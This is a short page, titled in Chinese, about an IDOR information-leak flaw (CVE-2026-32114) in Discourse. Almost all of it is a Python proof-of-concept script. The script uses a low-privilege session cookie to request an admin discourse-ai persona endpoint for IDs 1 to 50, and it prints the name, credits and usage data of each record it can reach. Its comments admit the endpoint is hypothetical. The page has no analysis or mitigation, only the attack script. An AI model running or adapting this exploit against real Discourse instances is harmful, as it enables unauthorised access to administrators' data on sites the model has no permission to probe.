CVE-2026-32114 Discourse IDOR漏洞致信息泄露

# PoC for CVE-2026-32114 (Discourse IDOR) # This script demonstrates the IDOR vulnerability by iterating through persona IDs. # Requires a valid authenticated session cookie. import requests target_url = "https://target-discourse-instance.com" # Hypothetical endpoint based on vulnerability description endpoint = "/admin/plugins/discourse-ai/ai-personas/{persona_id}.json" # Replace with a valid low-privilege user session cookie session_cookie = "_forum_session=valid_low_priv_cookie_here;" headers = { "Cookie": session_cookie, "User-Agent": "CVE-2026-32114-PoC" } print("[*] Starting IDOR scan for CVE-2026-32114...") # Attempt to access metadata for IDs 1 to 50 for persona_id in range(1, 51): try: url = target_url + endpoint.format(persona_id=persona_id) response = requests.get(url, headers=headers, timeout=5) if response.status_code == 200: data = response.json() print(f"[+] IDOR Successful for ID {persona_id}:") print(f" - Name: {data.get('name')}") print(f" - Credits: {data.get('credits')}") print(f" - Usage Stats: {data.get('usage')}") elif response.status_code == 403: # If we hit a 403, the server might be enforcing checks or the ID is restricted print(f"[-] Access Denied for ID {persona_id}") elif response.status_code == 404: pass # ID likely does not exist except Exception as e: print(f"[!] Error connecting to target: {e}") break print("[*] Scan complete.")